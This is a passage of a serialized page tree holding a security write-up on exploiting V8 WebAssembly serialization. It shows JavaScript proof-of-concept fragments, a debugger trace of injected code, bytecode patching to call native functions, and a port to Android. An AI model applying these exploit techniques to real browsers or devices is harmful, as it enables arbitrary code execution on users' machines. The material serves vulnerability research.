136012],{"type":26,"value":4789},{"type":21,"tag":85,"props":136014,"children":136015},{"style":114},[136016],{"type":26,"value":256},{"type":21,"tag":85,"props":136018,"children":136019},{"style":2285},[136020],{"type":26,"value":4789},{"type":21,"tag":85,"props":136022,"children":136023},{"style":114},[136024],{"type":26,"value":256},{"type":21,"tag":85,"props":136026,"children":136027},{"style":2285},[136028],{"type":26,"value":4789},{"type":21,"tag":85,"props":136030,"children":136031},{"style":114},[136032],{"type":26,"value":256},{"type":21,"tag":85,"props":136034,"children":136035},{"style":2285},[136036],{"type":26,"value":17951},{"type":21,"tag":85,"props":136038,"children":136039},{"style":114},[136040],{"type":26,"value":256},{"type":21,"tag":85,"props":136042,"children":136043},{"style":2285},[136044],{"type":26,"value":4789},{"type":21,"tag":85,"props":136046,"children":136047},{"style":114},[136048],{"type":26,"value":256},{"type":21,"tag":85,"props":136050,"children":136051},{"style":2285},[136052],{"type":26,"value":4789},{"type":21,"tag":85,"props":136054,"children":136055},{"style":114},[136056],{"type":26,"value":256},{"type":21,"tag":85,"props":136058,"children":136059},{"style":2285},[136060],{"type":26,"value":4789},{"type":21,"tag":85,"props":136062,"children":136063},{"style":114},[136064],{"type":26,"value":256},{"type":21,"tag":85,"props":136066,"children":136067},{"style":2285},[136068],{"type":26,"value":4789},{"type":21,"tag":85,"props":136070,"children":136071},{"style":114},[136072],{"type":26,"value":256},{"type":21,"tag":85,"props":136074,"children":136075},{"style":2285},[136076],{"type":26,"value":4789},{"type":21,"tag":85,"props":136078,"children":136079},{"style":114},[136080],{"type":26,"value":256},{"type":21,"tag":85,"props":136082,"children":136083},{"style":2285},[136084],{"type":26,"value":4789},{"type":21,"tag":85,"props":136086,"children":136087},{"style":114},[136088],{"type":26,"value":256},{"type":21,"tag":85,"props":136090,"children":136091},{"style":2285},[136092],{"type":26,"value":4789},{"type":21,"tag":85,"props":136094,"children":136095},{"style":114},[136096],{"type":26,"value":256},{"type":21,"tag":85,"props":136098,"children":136099},{"style":2285},[136100],{"type":26,"value":4789},{"type":21,"tag":85,"props":136102,"children":136103},{"style":114},[136104],{"type":26,"value":256},{"type":21,"tag":85,"props":136106,"children":136107},{"style":2285},[136108],{"type":26,"value":4789},{"type":21,"tag":85,"props":136110,"children":136111},{"style":114},[136112],{"type":26,"value":256},{"type":21,"tag":85,"props":136114,"children":136115},{"style":2285},[136116],{"type":26,"value":4789},{"type":21,"tag":85,"props":136118,"children":136119},{"style":114},[136120],{"type":26,"value":256},{"type":21,"tag":85,"props":136122,"children":136123},{"style":2285},[136124],{"type":26,"value":4789},{"type":21,"tag":85,"props":136126,"children":136127},{"style":114},[136128],{"type":26,"value":256},{"type":21,"tag":85,"props":136130,"children":136131},{"style":2285},[136132],{"type":26,"value":4789},{"type":21,"tag":85,"props":136134,"children":136135},{"style":114},[136136],{"type":26,"value":256},{"type":21,"tag":85,"props":136138,"children":136139},{"style":2285},[136140],{"type":26,"value":4789},{"type":21,"tag":85,"props":136142,"children":136143},{"style":114},[136144],{"type":26,"value":256},{"type":21,"tag":85,"props":136146,"children":136147},{"style":2285},[136148],{"type":26,"value":4789},{"type":21,"tag":85,"props":136150,"children":136151},{"style":114},[136152],{"type":26,"value":256},{"type":21,"tag":85,"props":136154,"children":136155},{"style":2285},[136156],{"type":26,"value":4789},{"type":21,"tag":85,"props":136158,"children":136159},{"style":114},[136160],{"type":26,"value":182},{"type":21,"tag":85,"props":136162,"children":136163},{"class":87,"line":1386},[136164,136168,136172,136176,136180,136184,136188,136192,136196,136200,136204,136208,136212,136216,136220,136224,136228,136232,136236,136240,136244,136248,136252,136256,136260,136264,136268,136272,136276,136280,136284,136288,136292,136296,136300,136304,136308,136312,136316,136320,136324,136328,136332,136336,136340,136344,136348,136352,136356,136360,136364,136369,136373,136377],{"type":21,"tag":85,"props":136165,"children":136166},{"style":2285},[136167],{"type":26,"value":134659},{"type":21,"tag":85,"props":136169,"children":136170},{"style":114},[136171],{"type":26,"value":256},{"type":21,"tag":85,"props":136173,"children":136174},{"style":2285},[136175],{"type":26,"value":4789},{"type":21,"tag":85,"props":136177,"children":136178},{"style":114},[136179],{"type":26,"value":256},{"type":21,"tag":85,"props":136181,"children":136182},{"style":2285},[136183],{"type":26,"value":4789},{"type":21,"tag":85,"props":136185,"children":136186},{"style":114},[136187],{"type":26,"value":256},{"type":21,"tag":85,"props":136189,"children":136190},{"style":2285},[136191],{"type":26,"value":4789},{"type":21,"tag":85,"props":136193,"children":136194},{"style":114},[136195],{"type":26,"value":256},{"type":21,"tag":85,"props":136197,"children":136198},{"style":2285},[136199],{"type":26,"value":4789},{"type":21,"tag":85,"props":136201,"children":136202},{"style":114},[136203],{"type":26,"value":256},{"type":21,"tag":85,"props":136205,"children":136206},{"style":2285},[136207],{"type":26,"value":4789},{"type":21,"tag":85,"props":136209,"children":136210},{"style":114},[136211],{"type":26,"value":256},{"type":21,"tag":85,"props":136213,"children":136214},{"style":2285},[136215],{"type":26,"value":4789},{"type":21,"tag":85,"props":136217,"children":136218},{"style":114},[136219],{"type":26,"value":256},{"type":21,"tag":85,"props":136221,"children":136222},{"style":2285},[136223],{"type":26,"value":4789},{"type":21,"tag":85,"props":136225,"children":136226},{"style":114},[136227],{"type":26,"value":256},{"type":21,"tag":85,"props":136229,"children":136230},{"style":2285},[136231],{"type":26,"value":4789},{"type":21,"tag":85,"props":136233,"children":136234},{"style":114},[136235],{"type":26,"value":256},{"type":21,"tag":85,"props":136237,"children":136238},{"style":2285},[136239],{"type":26,"value":4789},{"type":21,"tag":85,"props":136241,"children":136242},{"style":114},[136243],{"type":26,"value":256},{"type":21,"tag":85,"props":136245,"children":136246},{"style":2285},[136247],{"type":26,"value":4789},{"type":21,"tag":85,"props":136249,"children":136250},{"style":114},[136251],{"type":26,"value":256},{"type":21,"tag":85,"props":136253,"children":136254},{"style":2285},[136255],{"type":26,"value":4789},{"type":21,"tag":85,"props":136257,"children":136258},{"style":114},[136259],{"type":26,"value":256},{"type":21,"tag":85,"props":136261,"children":136262},{"style":2285},[136263],{"type":26,"value":4789},{"type":21,"tag":85,"props":136265,"children":136266},{"style":114},[136267],{"type":26,"value":256},{"type":21,"tag":85,"props":136269,"children":136270},{"style":2285},[136271],{"type":26,"value":4789},{"type":21,"tag":85,"props":136273,"children":136274},{"style":114},[136275],{"type":26,"value":256},{"type":21,"tag":85,"props":136277,"children":136278},{"style":2285},[136279],{"type":26,"value":4789},{"type":21,"tag":85,"props":136281,"children":136282},{"style":114},[136283],{"type":26,"value":256},{"type":21,"tag":85,"props":136285,"children":136286},{"style":2285},[136287],{"type":26,"value":4789},{"type":21,"tag":85,"props":136289,"children":136290},{"style":114},[136291],{"type":26,"value":256},{"type":21,"tag":85,"props":136293,"children":136294},{"style":2285},[136295],{"type":26,"value":4789},{"type":21,"tag":85,"props":136297,"children":136298},{"style":114},[136299],{"type":26,"value":256},{"type":21,"tag":85,"props":136301,"children":136302},{"style":2285},[136303],{"type":26,"value":4789},{"type":21,"tag":85,"props":136305,"children":136306},{"style":114},[136307],{"type":26,"value":256},{"type":21,"tag":85,"props":136309,"children":136310},{"style":2285},[136311],{"type":26,"value":4789},{"type":21,"tag":85,"props":136313,"children":136314},{"style":114},[136315],{"type":26,"value":256},{"type":21,"tag":85,"props":136317,"children":136318},{"style":2285},[136319],{"type":26,"value":4789},{"type":21,"tag":85,"props":136321,"children":136322},{"style":114},[136323],{"type":26,"value":256},{"type":21,"tag":85,"props":136325,"children":136326},{"style":2285},[136327],{"type":26,"value":4789},{"type":21,"tag":85,"props":136329,"children":136330},{"style":114},[136331],{"type":26,"value":256},{"type":21,"tag":85,"props":136333,"children":136334},{"style":2285},[136335],{"type":26,"value":4789},{"type":21,"tag":85,"props":136337,"children":136338},{"style":114},[136339],{"type":26,"value":256},{"type":21,"tag":85,"props":136341,"children":136342},{"style":2285},[136343],{"type":26,"value":4789},{"type":21,"tag":85,"props":136345,"children":136346},{"style":114},[136347],{"type":26,"value":256},{"type":21,"tag":85,"props":136349,"children":136350},{"style":2285},[136351],{"type":26,"value":29866},{"type":21,"tag":85,"props":136353,"children":136354},{"style":114},[136355],{"type":26,"value":256},{"type":21,"tag":85,"props":136357,"children":136358},{"style":2285},[136359],{"type":26,"value":135912},{"type":21,"tag":85,"props":136361,"children":136362},{"style":114},[136363],{"type":26,"value":256},{"type":21,"tag":85,"props":136365,"children":136366},{"style":2285},[136367],{"type":26,"value":136368},"198",{"type":21,"tag":85,"props":136370,"children":136371},{"style":114},[136372],{"type":26,"value":256},{"type":21,"tag":85,"props":136374,"children":136375},{"style":2285},[136376],{"type":26,"value":4789},{"type":21,"tag":85,"props":136378,"children":136379},{"style":114},[136380],{"type":26,"value":182},{"type":21,"tag":85,"props":136382,"children":136383},{"class":87,"line":1394},[136384],{"type":21,"tag":85,"props":136385,"children":136386},{"style":114},[136387],{"type":26,"value":134946},{"type":21,"tag":85,"props":136389,"children":136390},{"class":87,"line":1402},[136391,136395,136400,136404,136409,136413,136417,136421,136425,136429,136433],{"type":21,"tag":85,"props":136392,"children":136393},{"style":102},[136394],{"type":26,"value":2206},{"type":21,"tag":85,"props":136396,"children":136397},{"style":120},[136398],{"type":26,"value":136399}," r",{"type":21,"tag":85,"props":136401,"children":136402},{"style":169},[136403],{"type":26,"value":1941},{"type":21,"tag":85,"props":136405,"children":136406},{"style":1021},[136407],{"type":26,"value":136408}," bug",{"type":21,"tag":85,"props":136410,"children":136411},{"style":114},[136412],{"type":26,"value":1439},{"type":21,"tag":85,"props":136414,"children":136415},{"style":120},[136416],{"type":26,"value":134277},{"type":21,"tag":85,"props":136418,"children":136419},{"style":114},[136420],{"type":26,"value":256},{"type":21,"tag":85,"props":136422,"children":136423},{"style":120},[136424],{"type":26,"value":125604},{"type":21,"tag":85,"props":136426,"children":136427},{"style":114},[136428],{"type":26,"value":73},{"type":21,"tag":85,"props":136430,"children":136431},{"style":120},[136432],{"type":26,"value":125604},{"type":21,"tag":85,"props":136434,"children":136435},{"style":114},[136436],{"type":26,"value":777},{"type":21,"tag":85,"props":136438,"children":136439},{"class":87,"line":3145},[136440,136445,136449,136453,136457,136461,136465,136469,136474,136478],{"type":21,"tag":85,"props":136441,"children":136442},{"style":120},[136443],{"type":26,"value":136444},"  result",{"type":21,"tag":85,"props":136446,"children":136447},{"style":169},[136448],{"type":26,"value":1941},{"type":21,"tag":85,"props":136450,"children":136451},{"style":114},[136452],{"type":26,"value":717},{"type":21,"tag":85,"props":136454,"children":136455},{"style":2885},[136456],{"type":26,"value":33362},{"type":21,"tag":85,"props":136458,"children":136459},{"style":120},[136460],{"type":26,"value":136399},{"type":21,"tag":85,"props":136462,"children":136463},{"style":114},[136464],{"type":26,"value":73},{"type":21,"tag":85,"props":136466,"children":136467},{"style":1021},[136468],{"type":26,"value":58022},{"type":21,"tag":85,"props":136470,"children":136471},{"style":114},[136472],{"type":26,"value":136473},"()).",{"type":21,"tag":85,"props":136475,"children":136476},{"style":120},[136477],{"type":26,"value":39600},{"type":21,"tag":85,"props":136479,"children":136480},{"style":114},[136481],{"type":26,"value":2535},{"type":21,"tag":85,"props":136483,"children":136484},{"class":87,"line":3246},[136485,136489,136494,136498,136502,136506,136510,136514,136518,136522],{"type":21,"tag":85,"props":136486,"children":136487},{"style":102},[136488],{"type":26,"value":36636},{"type":21,"tag":85,"props":136490,"children":136491},{"style":120},[136492],{"type":26,"value":136493}," wasm_instance",{"type":21,"tag":85,"props":136495,"children":136496},{"style":169},[136497],{"type":26,"value":1941},{"type":21,"tag":85,"props":136499,"children":136500},{"style":102},[136501],{"type":26,"value":32378},{"type":21,"tag":85,"props":136503,"children":136504},{"style":120},[136505],{"type":26,"value":134260},{"type":21,"tag":85,"props":136507,"children":136508},{"style":114},[136509],{"type":26,"value":73},{"type":21,"tag":85,"props":136511,"children":136512},{"style":1021},[136513],{"type":26,"value":134314},{"type":21,"tag":85,"props":136515,"children":136516},{"style":114},[136517],{"type":26,"value":1439},{"type":21,"tag":85,"props":136519,"children":136520},{"style":120},[136521],{"type":26,"value":3463},{"type":21,"tag":85,"props":136523,"children":136524},{"style":114},[136525],{"type":26,"value":777},{"type":21,"tag":85,"props":136527,"children":136528},{"class":87,"line":3255},[136529,136533,136537,136541,136545,136549,136553,136557,136561],{"type":21,"tag":85,"props":136530,"children":136531},{"style":102},[136532],{"type":26,"value":36636},{"type":21,"tag":85,"props":136534,"children":136535},{"style":120},[136536],{"type":26,"value":33417},{"type":21,"tag":85,"props":136538,"children":136539},{"style":169},[136540],{"type":26,"value":1941},{"type":21,"tag":85,"props":136542,"children":136543},{"style":120},[136544],{"type":26,"value":136493},{"type":21,"tag":85,"props":136546,"children":136547},{"style":114},[136548],{"type":26,"value":73},{"type":21,"tag":85,"props":136550,"children":136551},{"style":120},[136552],{"type":26,"value":38334},{"type":21,"tag":85,"props":136554,"children":136555},{"style":114},[136556],{"type":26,"value":73},{"type":21,"tag":85,"props":136558,"children":136559},{"style":120},[136560],{"type":26,"value":134363},{"type":21,"tag":85,"props":136562,"children":136563},{"style":114},[136564],{"type":26,"value":2535},{"type":21,"tag":85,"props":136566,"children":136567},{"class":87,"line":3286},[136568,136573],{"type":21,"tag":85,"props":136569,"children":136570},{"style":1021},[136571],{"type":26,"value":136572},"  f",{"type":21,"tag":85,"props":136574,"children":136575},{"style":114},[136576],{"type":26,"value":4437},{"type":21,"tag":85,"props":136578,"children":136579},{"class":87,"line":3295},[136580],{"type":21,"tag":85,"props":136581,"children":136582},{"style":114},[136583],{"type":26,"value":102447},{"type":21,"tag":22,"props":136585,"children":136586},{},[136587],{"type":26,"value":136588},"Running this in a debugger shows the expected breakpoint:",{"type":21,"tag":75,"props":136590,"children":136592},{"code":136591},"Thread 1 \"d8\" received signal SIGTRAP, Trace/breakpoint trap.\n0x00002ae46bfc1841 in ?? ()\n────────────────────────────────────────────────────────────────────────────\n   0x2ae46bfc183c                  add    BYTE PTR [rax], al\n   0x2ae46bfc183e                  add    BYTE PTR [rax], al\n   0x2ae46bfc1840                  int3\n → 0x2ae46bfc1841                  mov    rbp, rsp\n",[136593],{"type":21,"tag":66,"props":136594,"children":136595},{"__ignoreMap":7},[136596],{"type":26,"value":136591},{"type":21,"tag":10022,"props":136598,"children":136600},{"id":136599},"porting-to-android",[136601],{"type":26,"value":136602},"Porting to Android",{"type":21,"tag":22,"props":136604,"children":136605},{},[136606,136608,136613,136615,136620,136622,136627,136629,136635],{"type":26,"value":136607},"The serialized x86-64 code can’t be used on the device because the architecture differs, and ",{"type":21,"tag":66,"props":136609,"children":136611},{"className":136610},[],[136612],{"type":26,"value":133392},{"type":26,"value":136614}," fails. We cross-compiled ",{"type":21,"tag":66,"props":136616,"children":136618},{"className":136617},[],[136619],{"type":26,"value":132551},{"type":26,"value":136621}," for arm64 and serialized the module there, but this still didn’t work on the device and ",{"type":21,"tag":66,"props":136623,"children":136625},{"className":136624},[],[136626],{"type":26,"value":133392},{"type":26,"value":136628}," returned ",{"type":21,"tag":66,"props":136630,"children":136632},{"className":136631},[],[136633],{"type":26,"value":136634},"undefined",{"type":26,"value":73},{"type":21,"tag":22,"props":136637,"children":136638},{},[136639,136641,136646,136648,136653],{"type":26,"value":136640},"Instead, we modified the bytecode to call ",{"type":21,"tag":66,"props":136642,"children":136644},{"className":136643},[],[136645],{"type":26,"value":133418},{"type":26,"value":136647}," directly on the device. The idea is to serialize the code on the device and then feed the resulting bytes back into the original bytecode that calls ",{"type":21,"tag":66,"props":136649,"children":136651},{"className":136650},[],[136652],{"type":26,"value":133392},{"type":26,"value":73},{"type":21,"tag":75,"props":136655,"children":136657},{"code":136656,"language":36063,"meta":7,"className":36061,"style":7},"try {\n  ${'a1 + 0xa931111;'.repeat(0x059301 - 1)}\n  a1 + 0x03027a6c;\n  throw 0x393e71a;\n} catch (e) {\n  console.log(\"foo\");\n  yield a16;\n}\n",[136658],{"type":21,"tag":66,"props":136659,"children":136660},{"__ignoreMap":7},[136661,136672,136716,136736,136752,136775,136802,136817],{"type":21,"tag":85,"props":136662,"children":136663},{"class":87,"line":88},[136664,136668],{"type":21,"tag":85,"props":136665,"children":136666},{"style":2885},[136667],{"type":26,"value":48786},{"type":21,"tag":85,"props":136669,"children":136670},{"style":114},[136671],{"type":26,"value":148},{"type":21,"tag":85,"props":136673,"children":136674},{"class":87,"line":98},[136675,136679,136683,136687,136691,136695,136699,136704,136708,136712],{"type":21,"tag":85,"props":136676,"children":136677},{"style":120},[136678],{"type":26,"value":133659},{"type":21,"tag":85,"props":136680,"children":136681},{"style":114},[136682],{"type":26,"value":77080},{"type":21,"tag":85,"props":136684,"children":136685},{"style":5026},[136686],{"type":26,"value":133668},{"type":21,"tag":85,"props":136688,"children":136689},{"style":114},[136690],{"type":26,"value":73},{"type":21,"tag":85,"props":136692,"children":136693},{"style":1021},[136694],{"type":26,"value":133677},{"type":21,"tag":85,"props":136696,"children":136697},{"style":114},[136698],{"type":26,"value":1439},{"type":21,"tag":85,"props":136700,"children":136701},{"style":2285},[136702],{"type":26,"value":136703},"0x059301",{"type":21,"tag":85,"props":136705,"children":136706},{"style":169},[136707],{"type":26,"value":51711},{"type":21,"tag":85,"props":136709,"children":136710},{"style":2285},[136711],{"type":26,"value":3279},{"type":21,"tag":85,"props":136713,"children":136714},{"style":114},[136715],{"type":26,"value":133699},{"type":21,"tag":85,"props":136717,"children":136718},{"class":87,"line":151},[136719,136723,136727,136732],{"type":21,"tag":85,"props":136720,"children":136721},{"style":120},[136722],{"type":26,"value":133707},{"type":21,"tag":85,"props":136724,"children":136725},{"style":169},[136726],{"type":26,"value":3274},{"type":21,"tag":85,"props":136728,"children":136729},{"style":2285},[136730],{"type":26,"value":136731}," 0x03027a6c",{"type":21,"tag":85,"props":136733,"children":136734},{"style":114},[136735],{"type":26,"value":2535},{"type":21,"tag":85,"props":136737,"children":136738},{"class":87,"line":160},[136739,136743,136748],{"type":21,"tag":85,"props":136740,"children":136741},{"style":2885},[136742],{"type":26,"value":35649},{"type":21,"tag":85,"props":136744,"children":136745},{"style":2285},[136746],{"type":26,"value":136747}," 0x393e71a",{"type":21,"tag":85,"props":136749,"children":136750},{"style":114},[136751],{"type":26,"value":2535},{"type":21,"tag":85,"props":136753,"children":136754},{"class":87,"line":185},[136755,136759,136763,136767,136771],{"type":21,"tag":85,"props":136756,"children":136757},{"style":114},[136758],{"type":26,"value":47328},{"type":21,"tag":85,"props":136760,"children":136761},{"style":2885},[136762],{"type":26,"value":48866},{"type":21,"tag":85,"props":136764,"children":136765},{"style":114},[136766],{"type":26,"value":717},{"type":21,"tag":85,"props":136768,"children":136769},{"style":120},[136770],{"type":26,"value":51910},{"type":21,"tag":85,"props":136772,"children":136773},{"style":114},[136774],{"type":26,"value":15222},{"type":21,"tag":85,"props":136776,"children":136777},{"class":87,"line":501},[136778,136782,136786,136790,136794,136798],{"type":21,"tag":85,"props":136779,"children":136780},{"style":120},[136781],{"type":26,"value":102406},{"type":21,"tag":85,"props":136783,"children":136784},{"style":114},[136785],{"type":26,"value":73},{"type":21,"tag":85,"props":136787,"children":136788},{"style":1021},[136789],{"type":26,"value":102415},{"type":21,"tag":85,"props":136791,"children":136792},{"style":114},[136793],{"type":26,"value":1439},{"type":21,"tag":85,"props":136795,"children":136796},{"style":5026},[136797],{"type":26,"value":133783},{"type":21,"tag":85,"props":136799,"children":136800},{"style":114},[136801],{"type":26,"value":777},{"type":21,"tag":85,"props":136803,"children":136804},{"class":87,"line":697},[136805,136809,136813],{"type":21,"tag":85,"props":136806,"children":136807},{"style":2885},[136808],{"type":26,"value":133795},{"type":21,"tag":85,"props":136810,"children":136811},{"style":120},[136812],{"type":26,"value":133800},{"type":21,"tag":85,"props":136814,"children":136815},{"style":114},[136816],{"type":26,"value":2535},{"type":21,"tag":85,"props":136818,"children":136819},{"class":87,"line":706},[136820],{"type":21,"tag":85,"props":136821,"children":136822},{"style":114},[136823],{"type":26,"value":2671},{"type":21,"tag":22,"props":136825,"children":136826},{},[136827,136829,136835,136837,136843,136845,136851,136853,136858,136860,136866,136868,136873,136874,136880],{"type":26,"value":136828},"Here, ",{"type":21,"tag":66,"props":136830,"children":136832},{"className":136831},[],[136833],{"type":26,"value":136834},"a1 + 0x03027a6c",{"type":26,"value":136836}," generates the bytes ",{"type":21,"tag":66,"props":136838,"children":136840},{"className":136839},[],[136841],{"type":26,"value":136842},"01 4b 6c 7a 02 03",{"type":26,"value":136844},", where ",{"type":21,"tag":66,"props":136846,"children":136848},{"className":136847},[],[136849],{"type":26,"value":136850},"0x6c",{"type":26,"value":136852}," is the ",{"type":21,"tag":66,"props":136854,"children":136856},{"className":136855},[],[136857],{"type":26,"value":133376},{"type":26,"value":136859}," opcode, ",{"type":21,"tag":66,"props":136861,"children":136863},{"className":136862},[],[136864],{"type":26,"value":136865},"0x027a",{"type":26,"value":136867}," is the function ID of ",{"type":21,"tag":66,"props":136869,"children":136871},{"className":136870},[],[136872],{"type":26,"value":133418},{"type":26,"value":820},{"type":21,"tag":66,"props":136875,"children":136877},{"className":136876},[],[136878],{"type":26,"value":136879},"0x03",{"type":26,"value":136881}," is the register index holding its first argument.",{"type":21,"tag":22,"props":136883,"children":136884},{},[136885,136887,136892,136893,136898,136900,136905],{"type":26,"value":136886},"Our earlier javascript snippet that serialized the wasm module used two native calls: ",{"type":21,"tag":66,"props":136888,"children":136890},{"className":136889},[],[136891],{"type":26,"value":133418},{"type":26,"value":11408},{"type":21,"tag":66,"props":136894,"children":136896},{"className":136895},[],[136897],{"type":26,"value":134386},{"type":26,"value":136899},". To avoid patching the bytecode again to invoke ",{"type":21,"tag":66,"props":136901,"children":136903},{"className":136902},[],[136904],{"type":26,"value":134386},{"type":26,"value":136906},", we can force Turbofan to compile the target function like this:",{"type":21,"tag":75,"props":136908,"children":136910},{"code":136909,"language":36063,"meta":7,"className":36061,"style":7},"// %WasmTierUpFunction(func);\nfor (let i = 0; i \u003C 0x100000; i++) {\n  func();\n}\n",[136911],{"type":21,"tag":66,"props":136912,"children":136913},{"__ignoreMap":7},[136914,136922,136982,136994],{"type":21,"tag":85,"props":136915,"children":136916},{"class":87,"line":88},[136917],{"type":21,"tag":85,"props":136918,"children":136919},{"style":92},[136920],{"type":26,"value":136921},"// %WasmTierUpFunction(func);\n",{"type":21,"tag":85,"props":136923,"children":136924},{"class":87,"line":98},[136925,136929,136933,136937,136941,136945,136949,136953,136957,136961,136966,136970,136974,136978],{"type":21,"tag":85,"props":136926,"children":136927},{"style":2885},[136928],{"type":26,"value":4163},{"type":21,"tag":85,"props":136930,"children":136931},{"style":114},[136932],{"type":26,"value":717},{"type":21,"tag":85,"props":136934,"children":136935},{"style":102},[136936],{"type":26,"value":12204},{"type":21,"tag":85,"props":136938,"children":136939},{"style":120},[136940],{"type":26,"value":2821},{"type":21,"tag":85,"props":136942,"children":136943},{"style":169},[136944],{"type":26,"value":1941},{"type":21,"tag":85,"props":136946,"children":136947},{"style":2285},[136948],{"type":26,"value":2830},{"type":21,"tag":85,"props":136950,"children":136951},{"style":114},[136952],{"type":26,"value":17649},{"type":21,"tag":85,"props":136954,"children":136955},{"style":120},[136956],{"type":26,"value":3003},{"type":21,"tag":85,"props":136958,"children":136959},{"style":169},[136960],{"type":26,"value":3085},{"type":21,"tag":85,"props":136962,"children":136963},{"style":2285},[136964],{"type":26,"value":136965}," 0x100000",{"type":21,"tag":85,"props":136967,"children":136968},{"style":114},[136969],{"type":26,"value":17649},{"type":21,"tag":85,"props":136971,"children":136972},{"style":120},[136973],{"type":26,"value":3003},{"type":21,"tag":85,"props":136975,"children":136976},{"style":169},[136977],{"type":26,"value":51725},{"type":21,"tag":85,"props":136979,"children":136980},{"style":114},[136981],{"type":26,"value":15222},{"type":21,"tag":85,"props":136983,"children":136984},{"class":87,"line":151},[136985,136990],{"type":21,"tag":85,"props":136986,"children":136987},{"style":1021},[136988],{"type":26,"value":136989},"  func",{"type":21,"tag":85,"props":136991,"children":136992},{"style":114},[136993],{"type":26,"value":4437},{"type":21,"tag":85,"props":136995,"children":136996},{"class":87,"line":160},[136997],{"type":21,"tag":85,"props":136998,"children":136999},{"style":114},[137000],{"type":26,"value":2671},{"type":21,"tag":22,"props":137002,"children":137003},{},[137004],{"type":26,"value":137005},"Finally, running this code on the device:",{"type":21,"tag":75,"props":137007,"children":137009},{"code":137008,"language":36063,"meta":7,"className":36061,"style":7},"(async () => {\n  var wasm_code = new Uint8Array([\n    0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n    0, 0, 10, 4, 1, 2, 0, 11,\n  ]);\n  var mod = new WebAssembly.Module(wasm_code);\n  var inst = new WebAssembly.Instance(mod);\n  var func = inst.exports.shell;\n\n  // %WasmTierUpFunction(func);\n  for (let i = 0; i \u003C 0x100000; i++) {\n    func();\n  }\n\n  let r = bug(mod);\n  result = (await r.next()).value;\n  console.log(result);\n\n  let result_bytes = new Uint8Array(result);\n  console.log('[' + result_bytes.join(', ') + ']');\n})();\n",[137010],{"type":21,"tag":66,"props":137011,"children":137012},{"__ignoreMap":7},[137013,137036,137064,137283,137350,137357,137400,137443,137482,137489,137497,137557,137569,137576,137583,137614,137657,137684,137691,137727,137790],{"type":21,"tag":85,"props":137014,"children":137015},{"class":87,"line":88},[137016,137020,137024,137028,137032],{"type":21,"tag":85,"props":137017,"children":137018},{"style":114},[137019],{"type":26,"value":1439},{"type":21,"tag":85,"props":137021,"children":137022},{"style":102},[137023],{"type":26,"value":36593},{"type":21,"tag":85,"props":137025,"children":137026},{"style":114},[137027],{"type":26,"value":40145},{"type":21,"tag":85,"props":137029,"children":137030},{"style":102},[137031],{"type":26,"value":15240},{"type":21,"tag":85,"props":137033,"children":137034},{"style":114},[137035],{"type":26,"value":148},{"type":21,"tag":85,"props":137037,"children":137038},{"class":87,"line":98},[137039,137044,137048,137052,137056,137060],{"type":21,"tag":85,"props":137040,"children":137041},{"style":102},[137042],{"type":26,"value":137043},"  var",{"type":21,"tag":85,"props":137045,"children":137046},{"style":120},[137047],{"type":26,"value":133916},{"type":21,"tag":85,"props":137049,"children":137050},{"style":169},[137051],{"type":26,"value":1941},{"type":21,"tag":85,"props":137053,"children":137054},{"style":102},[137055],{"type":26,"value":32378},{"type":21,"tag":85,"props":137057,"children":137058},{"style":1021},[137059],{"type":26,"value":133929},{"type":21,"tag":85,"props":137061,"children":137062},{"style":114},[137063],{"type":26,"value":133934},{"type":21,"tag":85,"props":137065,"children":137066},{"class":87,"line":151},[137067,137071,137075,137079,137083,137087,137091,137095,137099,137103,137107,137111,137115,137119,137123,137127,137131,137135,137139,137143,137147,137151,137155,137159,137163,137167,137171,137175,137179,137183,137187,137191,137195,137199,137203,137207,137211,137215,137219,137223,137227,137231,137235,137239,137243,137247,137251,137255,137259,137263,137267,137271,137275,137279],{"type":21,"tag":85,"props":137068,"children":137069},{"style":2285},[137070],{"type":26,"value":134659},{"type":21,"tag":85,"props":137072,"children":137073},{"style":114},[137074],{"type":26,"value":256},{"type":21,"tag":85,"props":137076,"children":137077},{"style":2285},[137078],{"type":26,"value":133951},{"type":21,"tag":85,"props":137080,"children":137081},{"style":114},[137082],{"type":26,"value":256},{"type":21,"tag":85,"props":137084,"children":137085},{"style":2285},[137086],{"type":26,"value":133960},{"type":21,"tag":85,"props":137088,"children":137089},{"style":114},[137090],{"type":26,"value":256},{"type":21,"tag":85,"props":137092,"children":137093},{"style":2285},[137094],{"type":26,"value":133969},{"type":21,"tag":85,"props":137096,"children":137097},{"style":114},[137098],{"type":26,"value":256},{"type":21,"tag":85,"props":137100,"children":137101},{"style":2285},[137102],{"type":26,"value":4779},{"type":21,"tag":85,"props":137104,"children":137105},{"style":114},[137106],{"type":26,"value":256},{"type":21,"tag":85,"props":137108,"children":137109},{"style":2285},[137110],{"type":26,"value":4789},{"type":21,"tag":85,"props":137112,"children":137113},{"style":114},[137114],{"type":26,"value":256},{"type":21,"tag":85,"props":137116,"children":137117},{"style":2285},[137118],{"type":26,"value":4789},{"type":21,"tag":85,"props":137120,"children":137121},{"style":114},[137122],{"type":26,"value":256},{"type":21,"tag":85,"props":137124,"children":137125},{"style":2285},[137126],{"type":26,"value":4789},{"type":21,"tag":85,"props":137128,"children":137129},{"style":114},[137130],{"type":26,"value":256},{"type":21,"tag":85,"props":137132,"children":137133},{"style":2285},[137134],{"type":26,"value":4779},{"type":21,"tag":85,"props":137136,"children":137137},{"style":114},[137138],{"type":26,"value":256},{"type":21,"tag":85,"props":137140,"children":137141},{"style":2285},[137142],{"type":26,"value":17951},{"type":21,"tag":85,"props":137144,"children":137145},{"style":114},[137146],{"type":26,"value":256},{"type":21,"tag":85,"props":137148,"children":137149},{"style":2285},[137150],{"type":26,"value":4779},{"type":21,"tag":85,"props":137152,"children":137153},{"style":114},[137154],{"type":26,"value":256},{"type":21,"tag":85,"props":137156,"children":137157},{"style":2285},[137158],{"type":26,"value":134034},{"type":21,"tag":85,"props":137160,"children":137161},{"style":114},[137162],{"type":26,"value":256},{"type":21,"tag":85,"props":137164,"children":137165},{"style":2285},[137166],{"type":26,"value":4789},{"type":21,"tag":85,"props":137168,"children":137169},{"style":114},[137170],{"type":26,"value":256},{"type":21,"tag":85,"props":137172,"children":137173},{"style":2285},[137174],{"type":26,"value":4789},{"type":21,"tag":85,"props":137176,"children":137177},{"style":114},[137178],{"type":26,"value":256},{"type":21,"tag":85,"props":137180,"children":137181},{"style":2285},[137182],{"type":26,"value":17718},{"type":21,"tag":85,"props":137184,"children":137185},{"style":114},[137186],{"type":26,"value":256},{"type":21,"tag":85,"props":137188,"children":137189},{"style":2285},[137190],{"